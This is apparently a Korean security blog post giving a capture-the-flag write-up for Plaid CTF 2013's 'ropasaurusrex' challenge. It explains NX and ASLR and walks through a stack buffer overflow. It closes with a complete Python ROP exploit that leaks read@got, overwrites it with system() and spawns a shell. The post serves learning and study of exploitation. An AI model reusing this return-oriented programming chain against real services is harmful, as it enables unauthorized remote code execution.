- Today
- Total
Phantom
1 Plaid CTF 2013 - ropasaurusrex 본문
-
개요
이 문제는 ROP 기법을 공부하는 사람들이라면 한 번 쯤 풀어본다는 2013년도 pCTF의 Ropasaurusrex 이다.
이전 흑객이라는 스터디에서 Hackerschool의 문제로 아주 쉬운 ROP를 한적이 있는데 개인적으로 많은 자료들을 인용하고 보고 배우며 삽질은 한 문제이다. -
문제 내용
파일을 실행하고 아무거나 입력하면 “WIN”이라는 문자열을 출력하고 종료한다.
너무 짧게 넣었나??
무지 많이 넣으니 세그멘테이션 폴트가 뜨고 종료한다. 단순한 BOF문제일까?
일단 파일에 대해 알아보자.
32bit ELF 바이너리이며
이번에 안 사실인데 stripped라고 되어 있다면 main함수는 어셈이 보이지 않을 것이다.
보호기법으로는 NX가 걸려 있다. 그리고 OS환경상 ASLR이 걸려 있다. -
NX(No Excutable), ASLR(Address Space Layout Randomization)NX란 메모리 보호 기법 중 하나로, 메모리 권한을 w권한과 x권한을 동시에 갖지 않도록 설정하는 것이다.
예를 들어 지역변수에 입력을 받을 때 overflow가 발생하는 바이너리가 있다고 하자.만약 NX가 활성화 되어 있지 않다면 지역변수 메모리에 쉘코드를 넣고 ret에 BOF가 가능하다.하지만 NX가 활성화 되어 있다면 메모리에 x 권한이 없으므로 쉘코드를 실행시킬 수 없다.ASLR(Address Space Layout Randomization)
메모리상의 공격을 방어하기 위해 주소 공간배치를 난수화 시키는 기법.
스택, 힙, 라이브러리 등의 데이터 영역 주소 등을 난수화 시킨 주소로 프로세스의 주소 공간에 배치하는 것.
-
문제 분석바이너리를 gdb로 우선 열어봤다.
아까 말했듯이 strip되어 있어서 메인 심볼이 제거되어 있다.
그럼 이젠 어떻게 분석하냐, .text영역의 main코드를 읽을 순 있지만
일단 IDA로 헥스레이를 돌려보자
메인 함수는 간단하다. 우선 저 vuln_func() 함수 안에 들어가 봐야 할 것 같다.
이 부분에서 취약점이 존재한다.
Buffer의 크기가 136밖에 안되는데 read함수로 256바이트를 읽어온다.
이것은 .text영역에서 main과 vuln_func()로 추측되는 부분을 가져온 것이다.
Hand + hex-ray = Hand-ray를 하자면
이렇게 된다.
NX, ASLR을 우회하여 ROP를 하면 되는 간단한 문제라 한다. 문제만 보면 아주 간단하다.
프로그램의 흐름상 read함수를 실행 후 write함수를 실행한다.
우선 read함수의 plt와 got를 구한다.
read@plt : 0x804832c
read@got : 0x804961c
저장 가능한 영역을 찾는다.
이 세 곳 중에 저장 가능한곳이 .data와 .bss는 8바이트밖에 저장이 불가능하다.
그래서 .dynamic영역에 “/bin/sh”문자열을 넣겠다.
아직 많이 미숙하여 Writeup을 그대로 따라하며 이해를 해봤다.
먼저 이 프로그램은 read함수와 write함수밖에사용하지않는다.
디버거 상에서 프로그램 종료 후??(이건 잘 모르겠지만(dl_solver이후) 바뀐 함수들의 오프셋
을 구한다.
.dynamic 영역은 아까 위에 0x8049530으로 구해졌고
read – system 의 offset은 0x99880이다.
문자열인 “/bin/sh”는 그냥 준비하면 되고
pop pop pop ret의 주소를 구하면 된다.
pppr의 주소는 : 0x80484b6이다. -
풀이
자 이제 준비물들은 준비되었고 풀어보자면
read함수를 사용해서 .dynamic영역에 “/bin/sh”를 입력 받을 준비를 한다.
그리고 write함수를 사용해서 read@got를 변조한다.
그리고 변조된 read@got와 read - system의 거리를 연산하여 넣는다. 그럼 이제 read()는 system()이 된다.
system함수의 리턴 값에 아무 값이나 넣어주고 인자에 “/bin/sh”가 저장된 곳의 주소를 넣어준다.
페이로드를 보내고 “/bin/sh”를 보낸다.
그리고 4바이트만큼 리틀엔디언 값으로 read함수의 주소를 받는다.
아까 준비한 오프셋으로 read – offset 계산을 하여 system함수의 위치를 구한다!!
그리고 그걸 다시 보내고 명령을 보낸다면....1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67from socket import *from struct import *p = lambda x : pack("<L", x)up = lambda x : unpack("<L",x)[0]ip = "localhost"port = 6666s = socket(AF_INET, SOCK_STREAM)s.connect((ip,port))read_plt = 0x804832cread_got = 0x804961cwrite_plt = 0x804830coffset = 0x99880 # libc.so.6 read - systemdynamic = 0x8049530pppr = 0x80484b6cmd = "/bin/sh"len_cmd = len(cmd)payload = ""payload += "A"*140# read를 사용해서 dynamic에 입력받을 준비를 하는 부분# .dynamic에 데이터 입력공간 확보payload += p(read_plt)payload += p(pppr)payload += p(0)payload += p(dynamic)payload += p(len_cmd)# write 를 사용해서 현재 주소의 read@got를 변조하는 부분# 서버의 입장에서 클라이언트에게 쓸때 write함수를 이용해서 read@got를 변조payload += p(write_plt)payload += p(pppr)payload += p(1)payload += p(read_got)payload += p(4)# read를 이용해서 변조된 read@got와 read - system 의 거리를 연산하여 넣음# input : real read@got - offset(read-system) system()payload += p(read_plt)payload += p(pppr)payload += p(0)payload += p(read_got)payload += p(4)# read 함수의 리턴값에 아무값이나 넣고 인자에 .dynamic영역을 지정해준다.payload += p(read_plt)payload += "AAAA"payload += p(dynamic)# 페이로드를 보내고 문자열을 보낸다.s.send(payload)s.send(cmd)# read함수의 주소를 받는다.read = up(s.recv(4))# offset 계산system = read - offsetprint hex(system)s.send(p(system))s.send("cat /ctf/success.txt\n")print s.recv(1024)cs -
Preference
https://bpsecblog.wordpress.com/2016/03/12/pctf2013_ropasaurusrex/
https://bpsecblog.wordpress.com/2017/01/20/plaidctf-ropasaurusrex/
https://bpsecblog.wordpress.com/2016/03/09/about_got_plt_2/
http://confus3r.tistory.com/entry/Plaid-CTF-2013-ropasaurusrex
'Pwnable > WriteUp' 카테고리의 다른 글
Start (0) | 2022.07.03 |
---|---|
Simple login (0) | 2019.06.06 |
CodeGate 2014 Nuclear WriteUp (0) | 2017.07.18 |
ActiveX Heap Spray_COMRaider Fuzzing POC (2) | 2016.05.16 |
붉은별 OS 3.0 local privilege escalation POC (0) | 2016.05.09 |